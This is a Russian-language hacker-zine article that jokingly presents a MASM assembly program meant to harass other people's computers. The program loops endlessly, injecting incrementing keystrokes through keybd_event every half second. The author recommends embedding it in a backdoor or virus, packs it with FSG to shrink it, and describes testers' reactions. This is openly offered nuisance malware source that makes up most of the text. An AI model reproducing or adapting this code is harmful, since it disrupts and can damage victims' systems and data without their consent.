С давних времён человек стремился построить западло ближнему своему. Сначала
способы западлостроения были примитивны, но с развитием науки и техники они
становились всё изощрённее. Вот появились радиоприёмники, автомобили... Сколько
западла можно было построить на этой основе! Но прогресс не стоял на месте.
Вслед за этим появился он, компьютер. Способы западлостроительства казались
неиссякаемыми. А далее - западло по блутусу, мобильные вирусы, киберпсихи стали
превращаться в мобильных маньяков (привет JC ;) )...
Но это не было концом эры компьютерного западла. Пока живёт человек, будет
жить и компьютерное западло. И сейчас я поведаю тебе, пытливый
читатель-заподлостроитель, об ещё одном способе западла, который можно
интегрировать в свою программу (будь то функция бэкдора или "приятная" фича
вируса), либо же просто дописать и строить автономное западло.
Соотношение размер кода (да и экзешника) / западло-трип мне лично здесь
понравилось. =) Трип оригинален (причём у всех тестеров протекал немного
по-разному), а кода - мизер. =)
Кодить мы будем, конечно же, на асме. А конкретно - masm.
Итак, приступим. =)
Код и комментарии попутно к нему :)
.386
.model flat, stdcall
option casemap :none ; case sensitive
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
; нужные инклуды
.code
start:
xor ebx,ebx ; обнуляем на всякий пожарный ebx.
; к слову сказать, так выходит легче, чем mov ebx,0
@ff: ; метка, будем делать бесконечный цикл
inc ebx ; внутри уже самого цикла добавляем единицу
к ebx'у
push 500 ; ждём полсекунды, а можно и больше -
чтобы глючило медленнее
call Sleep ; и чтобы трип наш был интереснее ;)
invoke keybd_event,ebx,0,0,0 ; и сама функция :)
; вообще, с помощью неё "нажимаются" клавиши,
; о чём можно догадаться по названию :)
; но благодаря нашему ebx'у здесь "понажимается"
; так, что мало не покажется =)
jmp @ff ; ну и возвращаемся к нашей метке, чтобы
продолжить =)
invoke ExitProcess,0 ; неуютно мне без этого =) но
мона выкинуть ;)
end start
Размер экзешника в таком виде - 1024 байта, сжимаем FSG - выходит 741. При
интеграции в другие программы этого кода прирост почти не почувствуется.
В принципе, суть всей программы сводится к следующему:
@ff:
inc ebx
invoke keybd_event,ebx,0,0,0
jmp @ff
Воть так. =) Трипы получаются весьма интересные, судя по описаниям тестеров. ;)